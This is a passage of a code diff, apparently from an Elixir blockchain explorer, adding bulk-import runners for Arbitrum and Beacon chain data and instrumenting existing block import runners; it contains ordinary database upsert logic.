+defmodule Explorer.Chain.Import.Runner.Arbitrum.BatchToDaBlobs do + @moduledoc """ + Bulk imports of Explorer.Chain.Arbitrum.BatchToDaBlob. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Arbitrum.BatchToDaBlob + alias Explorer.Chain.Import + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [BatchToDaBlob.t()] + + @impl Import.Runner + def ecto_schema_module, do: BatchToDaBlob + + @impl Import.Runner + def option_key, do: :arbitrum_batches_to_da_blobs + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_batches_to_da_blobs, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :arbitrum_batches_to_da_blobs, + :arbitrum_batches_to_da_blobs + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [BatchToDaBlob.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce BatchToDaBlob ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.batch_number) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: BatchToDaBlob, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :batch_number, + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + rec in BatchToDaBlob, + update: [ + set: [ + # don't update `batch_number` as it is a primary key and used for the conflict target + data_blob_id: fragment("EXCLUDED.data_blob_id"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", rec.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", rec.updated_at) + ] + ], + where: + fragment( + "EXCLUDED.data_blob_id IS DISTINCT FROM ?", + rec.data_blob_id + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/arbitrum/batch_transactions.ex b/apps/explorer/lib/explorer/chain/import/runner/arbitrum/batch_transactions.ex new file mode 100644 index 000000000000..17cda3fb909a --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/arbitrum/batch_transactions.ex @@ -0,0 +1,79 @@ +defmodule Explorer.Chain.Import.Runner.Arbitrum.BatchTransactions do + @moduledoc """ + Bulk imports of Explorer.Chain.Arbitrum.BatchTransaction. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Arbitrum.BatchTransaction + alias Explorer.Chain.Import + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [BatchTransaction.t()] + + @impl Import.Runner + def ecto_schema_module, do: BatchTransaction + + @impl Import.Runner + def option_key, do: :arbitrum_batch_transactions + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_arbitrum_batch_transactions, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :arbitrum_batch_transactions, + :arbitrum_batch_transactions + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [BatchTransaction.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = _options) when is_list(changes_list) do + # Enforce Arbitrum.BatchTransaction ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.transaction_hash) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: BatchTransaction, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :transaction_hash, + on_conflict: :nothing + ) + + {:ok, inserted} + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/arbitrum/da_multi_purpose_records.ex b/apps/explorer/lib/explorer/chain/import/runner/arbitrum/da_multi_purpose_records.ex new file mode 100644 index 000000000000..ca8ef10c95ee --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/arbitrum/da_multi_purpose_records.ex @@ -0,0 +1,106 @@ +defmodule Explorer.Chain.Import.Runner.Arbitrum.DaMultiPurposeRecords do + @moduledoc """ + Bulk imports of Explorer.Chain.Arbitrum.DaMultiPurposeRecord. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Arbitrum.DaMultiPurposeRecord + alias Explorer.Chain.Import + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [DaMultiPurposeRecord.t()] + + @impl Import.Runner + def ecto_schema_module, do: DaMultiPurposeRecord + + @impl Import.Runner + def option_key, do: :arbitrum_da_multi_purpose_records + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_da_multi_purpose_records, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :arbitrum_da_multi_purpose_records, + :arbitrum_da_multi_purpose_records + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [DaMultiPurposeRecord.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce Arbitrum.DaMultiPurposeRecord ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.data_key) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: DaMultiPurposeRecord, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :data_key, + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + rec in DaMultiPurposeRecord, + update: [ + set: [ + # don't update `data_key` as it is a primary key and used for the conflict target + data_type: fragment("EXCLUDED.data_type"), + data: fragment("EXCLUDED.data"), + batch_number: fragment("EXCLUDED.batch_number"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", rec.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", rec.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.data_type, EXCLUDED.data, EXCLUDED.batch_number) IS DISTINCT FROM (?, ?, ?)", + rec.data_type, + rec.data, + rec.batch_number + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/arbitrum/l1_batches.ex b/apps/explorer/lib/explorer/chain/import/runner/arbitrum/l1_batches.ex new file mode 100644 index 000000000000..ddca21b5de95 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/arbitrum/l1_batches.ex @@ -0,0 +1,114 @@ +defmodule Explorer.Chain.Import.Runner.Arbitrum.L1Batches do + @moduledoc """ + Bulk imports of Explorer.Chain.Arbitrum.L1Batch. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Arbitrum.L1Batch + alias Explorer.Chain.Import + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [L1Batch.t()] + + @impl Import.Runner + def ecto_schema_module, do: L1Batch + + @impl Import.Runner + def option_key, do: :arbitrum_l1_batches + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_arbitrum_l1_batches, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :arbitrum_l1_batches, + :arbitrum_l1_batches + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [L1Batch.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce Arbitrum.L1Batch ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.number) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: L1Batch, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :number, + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + tb in L1Batch, + update: [ + set: [ + # don't update `number` as it is a primary key and used for the conflict target + transactions_count: fragment("EXCLUDED.transactions_count"), + start_block: fragment("EXCLUDED.start_block"), + end_block: fragment("EXCLUDED.end_block"), + before_acc: fragment("EXCLUDED.before_acc"), + after_acc: fragment("EXCLUDED.after_acc"), + commitment_id: fragment("EXCLUDED.commitment_id"), + batch_container: fragment("EXCLUDED.batch_container"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", tb.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", tb.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.transactions_count, EXCLUDED.start_block, EXCLUDED.end_block, EXCLUDED.before_acc, EXCLUDED.after_acc, EXCLUDED.commitment_id, EXCLUDED.batch_container) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?)", + tb.transactions_count, + tb.start_block, + tb.end_block, + tb.before_acc, + tb.after_acc, + tb.commitment_id, + tb.batch_container + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/arbitrum/l1_executions.ex b/apps/explorer/lib/explorer/chain/import/runner/arbitrum/l1_executions.ex new file mode 100644 index 000000000000..e597ba55f0e2 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/arbitrum/l1_executions.ex @@ -0,0 +1,102 @@ +defmodule Explorer.Chain.Import.Runner.Arbitrum.L1Executions do + @moduledoc """ + Bulk imports of Explorer.Chain.Arbitrum.L1Execution. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Arbitrum.L1Execution + alias Explorer.Chain.Import + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [L1Execution.t()] + + @impl Import.Runner + def ecto_schema_module, do: L1Execution + + @impl Import.Runner + def option_key, do: :arbitrum_l1_executions + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_arbitrum_l1_executions, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :arbitrum_l1_executions, + :arbitrum_l1_executions + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [L1Execution.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce Arbitrum.L1Execution ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.message_id) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: L1Execution, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :message_id, + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + tb in L1Execution, + update: [ + set: [ + # don't update `message_id` as it is a primary key and used for the conflict target + execution_id: fragment("EXCLUDED.execution_id"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", tb.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", tb.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.execution_id) IS DISTINCT FROM (?)", + tb.execution_id + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/arbitrum/lifecycle_transactions.ex b/apps/explorer/lib/explorer/chain/import/runner/arbitrum/lifecycle_transactions.ex new file mode 100644 index 000000000000..b6ab03b73cee --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/arbitrum/lifecycle_transactions.ex @@ -0,0 +1,107 @@ +defmodule Explorer.Chain.Import.Runner.Arbitrum.LifecycleTransactions do + @moduledoc """ + Bulk imports of Explorer.Chain.Arbitrum.LifecycleTransaction. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Arbitrum.LifecycleTransaction + alias Explorer.Chain.Import + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [LifecycleTransaction.t()] + + @impl Import.Runner + def ecto_schema_module, do: LifecycleTransaction + + @impl Import.Runner + def option_key, do: :arbitrum_lifecycle_transactions + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_arbitrum_lifecycle_transactions, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :arbitrum_lifecycle_transactions, + :arbitrum_lifecycle_transactions + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [LifecycleTransaction.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce Arbitrum.LifecycleTransaction ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.id) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: LifecycleTransaction, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :hash, + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + transaction in LifecycleTransaction, + update: [ + set: [ + # don't update `id` as it is a primary key + # don't update `hash` as it is a unique index and used for the conflict target + timestamp: fragment("EXCLUDED.timestamp"), + block_number: fragment("EXCLUDED.block_number"), + status: fragment("GREATEST(?, EXCLUDED.status)", transaction.status), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", transaction.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", transaction.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.timestamp, EXCLUDED.block_number, EXCLUDED.status) IS DISTINCT FROM (?, ?, ?)", + transaction.timestamp, + transaction.block_number, + transaction.status + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/arbitrum/messages.ex b/apps/explorer/lib/explorer/chain/import/runner/arbitrum/messages.ex new file mode 100644 index 000000000000..9aef34064ffa --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/arbitrum/messages.ex @@ -0,0 +1,117 @@ +defmodule Explorer.Chain.Import.Runner.Arbitrum.Messages do + @moduledoc """ + Bulk imports of Explorer.Chain.Arbitrum.Message. + """ + + require Ecto.Query + + import Ecto.Query, only: [from: 2] + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Arbitrum.Message, as: CrosslevelMessage + alias Explorer.Chain.Import + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [CrosslevelMessage.t()] + + @impl Import.Runner + def ecto_schema_module, do: CrosslevelMessage + + @impl Import.Runner + def option_key, do: :arbitrum_messages + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_arbitrum_messages, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :arbitrum_messages, + :arbitrum_messages + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [CrosslevelMessage.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce Message ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, &{&1.direction, &1.message_id}) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + conflict_target: [:direction, :message_id], + on_conflict: on_conflict, + for: CrosslevelMessage, + returning: true, + timeout: timeout, + timestamps: timestamps + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + op in CrosslevelMessage, + update: [ + set: [ + # Don't update `direction` as it is part of the composite primary key and used for the conflict target + # Don't update `message_id` as it is part of the composite primary key and used for the conflict target + originator_address: fragment("COALESCE(EXCLUDED.originator_address, ?)", op.originator_address), + originating_transaction_hash: + fragment("COALESCE(EXCLUDED.originating_transaction_hash, ?)", op.originating_transaction_hash), + origination_timestamp: fragment("COALESCE(EXCLUDED.origination_timestamp, ?)", op.origination_timestamp), + originating_transaction_block_number: + fragment( + "COALESCE(EXCLUDED.originating_transaction_block_number, ?)", + op.originating_transaction_block_number + ), + completion_transaction_hash: + fragment("COALESCE(EXCLUDED.completion_transaction_hash, ?)", op.completion_transaction_hash), + status: fragment("GREATEST(?, EXCLUDED.status)", op.status), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", op.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", op.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.originator_address, EXCLUDED.originating_transaction_hash, EXCLUDED.origination_timestamp, EXCLUDED.originating_transaction_block_number, EXCLUDED.completion_transaction_hash, EXCLUDED.status) IS DISTINCT FROM (?, ?, ?, ?, ?, ?)", + op.originator_address, + op.originating_transaction_hash, + op.origination_timestamp, + op.originating_transaction_block_number, + op.completion_transaction_hash, + op.status + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/beacon/blob_transactions.ex b/apps/explorer/lib/explorer/chain/import/runner/beacon/blob_transactions.ex new file mode 100644 index 000000000000..e3f61616cd19 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/beacon/blob_transactions.ex @@ -0,0 +1,115 @@ +defmodule Explorer.Chain.Import.Runner.Beacon.BlobTransactions do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Beacon.BlobTransaction.t/0`. + """ + + require Ecto.Query + + import Ecto.Query, only: [from: 2] + + alias Explorer.Chain.Beacon.BlobTransaction + alias Ecto.{Multi, Repo} + alias Explorer.Chain.{Hash, Import} + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [Hash.Full.t()] + + @impl Import.Runner + def ecto_schema_module, do: BlobTransaction + + @impl Import.Runner + def option_key, do: :beacon_blob_transactions + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + # Enforce ShareLocks tables order (see docs: sharelocks.md) + multi + |> Multi.run(:beacon_blob_transactions, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :beacon_blob_transactions, + :beacon_blob_transactions + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{ + optional(:on_conflict) => Import.Runner.on_conflict(), + required(:timeout) => timeout, + required(:timestamps) => Import.timestamps() + }) :: {:ok, [Hash.t()]} + defp insert( + repo, + changes_list, + %{ + timeout: timeout, + timestamps: timestamps + } = options + ) + when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce Transaction ShareLocks order (see docs: sharelocks.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.hash) + + Import.insert_changes_list( + repo, + ordered_changes_list, + conflict_target: :hash, + on_conflict: on_conflict, + for: BlobTransaction, + returning: true, + timeout: timeout, + timestamps: timestamps + ) + end + + defp default_on_conflict do + from( + blob_transaction in BlobTransaction, + update: [ + set: [ + max_fee_per_blob_gas: fragment("EXCLUDED.max_fee_per_blob_gas"), + blob_versioned_hashes: fragment("EXCLUDED.blob_versioned_hashes"), + blob_gas_used: fragment("EXCLUDED.blob_gas_used"), + blob_gas_price: fragment("EXCLUDED.blob_gas_price"), + # Don't update `hash` as it is part of the primary key and used for the conflict target + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", blob_transaction.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", blob_transaction.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.max_fee_per_blob_gas, EXCLUDED.blob_versioned_hashes, EXCLUDED.blob_gas_used, EXCLUDED.blob_gas_price) IS DISTINCT FROM (?, ?, ?, ?)", + blob_transaction.max_fee_per_blob_gas, + blob_transaction.blob_versioned_hashes, + blob_transaction.blob_gas_used, + blob_transaction.blob_gas_price + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/block/rewards.ex b/apps/explorer/lib/explorer/chain/import/runner/block/rewards.ex index fd656d35edf6..cf13ae1b2278 100644 --- a/apps/explorer/lib/explorer/chain/import/runner/block/rewards.ex +++ b/apps/explorer/lib/explorer/chain/import/runner/block/rewards.ex @@ -8,6 +8,7 @@ defmodule Explorer.Chain.Import.Runner.Block.Rewards do alias Ecto.{Changeset, Multi, Repo} alias Explorer.Chain.Block.Reward alias Explorer.Chain.Import + alias Explorer.Prometheus.Instrumenter @behaviour Import.Runner @@ -37,7 +38,14 @@ defmodule Explorer.Chain.Import.Runner.Block.Rewards do |> Map.put_new(:timeout, @timeout) |> Map.put(:timestamps, timestamps) - Multi.run(multi, option_key(), fn repo, _ -> insert(repo, changes_list, insert_options) end) + Multi.run(multi, option_key(), fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_following, + :rewards, + option_key() + ) + end) end @impl Import.Runner diff --git a/apps/explorer/lib/explorer/chain/import/runner/block/second_degree_relations.ex b/apps/explorer/lib/explorer/chain/import/runner/block/second_degree_relations.ex index 18b8eb089c38..0383e681d31d 100644 --- a/apps/explorer/lib/explorer/chain/import/runner/block/second_degree_relations.ex +++ b/apps/explorer/lib/explorer/chain/import/runner/block/second_degree_relations.ex @@ -9,6 +9,7 @@ defmodule Explorer.Chain.Import.Runner.Block.SecondDegreeRelations do alias Ecto.{Changeset, Multi, Repo} alias Explorer.Chain.{Block, Hash, Import} + alias Explorer.Prometheus.Instrumenter @behaviour Import.Runner @@ -46,7 +47,12 @@ defmodule Explorer.Chain.Import.Runner.Block.SecondDegreeRelations do |> Map.put_new(:timeout, @timeout) Multi.run(multi, :block_second_degree_relations, fn repo, _ -> - insert(repo, changes_list, insert_options) + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_following, + :second_degree_relations, + :block_second_degree_relations + ) end) end @@ -57,13 +63,16 @@ defmodule Explorer.Chain.Import.Runner.Block.SecondDegreeRelations do optional(:on_conflict) => Import.Runner.on_conflict(), required(:timeout) => timeout }) :: - {:ok, %{nephew_hash: Hash.Full.t(), uncle_hash: Hash.Full.t(), index: non_neg_integer()}} + {:ok, nil | %{nephew_hash: Hash.Full.t(), uncle_hash: Hash.Full.t(), index: non_neg_integer()}} | {:error, [Changeset.t()]} defp insert(repo, changes_list, %{timeout: timeout} = options) when is_atom(repo) and is_list(changes_list) do on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) # Enforce SeconDegreeRelation ShareLocks order (see docs: sharelocks.md) - ordered_changes_list = Enum.sort_by(changes_list, &{&1.nephew_hash, &1.uncle_hash}) + ordered_changes_list = + changes_list + |> Enum.sort_by(&{&1.nephew_hash, &1.uncle_hash}) + |> Enum.dedup() Import.insert_changes_list(repo, ordered_changes_list, conflict_target: [:nephew_hash, :uncle_hash], diff --git a/apps/explorer/lib/explorer/chain/import/runner/blocks.ex b/apps/explorer/lib/explorer/chain/import/runner/blocks.ex index 98e88de110b2..e107a2453507 100644 --- a/apps/explorer/lib/explorer/chain/import/runner/blocks.ex +++ b/apps/explorer/lib/explorer/chain/import/runner/blocks.ex @@ -5,15 +5,38 @@ defmodule Explorer.Chain.Import.Runner.Blocks do require Ecto.Query - import Ecto.Query, only: [from: 2, subquery: 1] + import Ecto.Query, only: [dynamic: 1, dynamic: 2, from: 2, where: 3, subquery: 1] + import Explorer.Chain.Import.Runner.Helper, only: [chain_type_dependent_import: 3] alias Ecto.{Changeset, Multi, Repo} - alias Explorer.Chain.{Address, Block, Import, PendingBlockOperation, Transaction} + + alias EthereumJSONRPC.Utility.RangesHelper + + alias Explorer.Chain.{ + Address, + Block, + BlockNumberHelper, + DenormalizationHelper, + Import, + PendingBlockOperation, + PendingOperationsHelper, + Token, + Token.Instance, + TokenTransfer, + Transaction + } + alias Explorer.Chain.Block.Reward alias Explorer.Chain.Import.Runner alias Explorer.Chain.Import.Runner.Address.CurrentTokenBalances - alias Explorer.Chain.Import.Runner.Tokens + alias Explorer.Chain.Import.Runner.{Addresses, TokenInstances, Tokens} + alias Explorer.Prometheus.Instrumenter alias Explorer.Repo, as: ExplorerRepo + alias Explorer.Utility.MissingRangesManipulator + + alias Explorer.Chain.Celo.ElectionReward, as: CeloElectionReward + alias Explorer.Chain.Celo.Epoch, as: CeloEpoch + alias Explorer.Chain.Celo.EpochReward, as: CeloEpochReward @behaviour Runner @@ -47,111 +70,187 @@ defmodule Explorer.Chain.Import.Runner.Blocks do hashes = Enum.map(changes_list, & &1.hash) - minimal_block_height = trace_minimal_block_height() - - hashes_for_pending_block_operations = - if minimal_block_height > 0 do - changes_list - |> Enum.filter(&(&1.number >= minimal_block_height)) - |> Enum.map(& &1.hash) - else - hashes - end + # Enforce ShareLocks tables order (see docs: 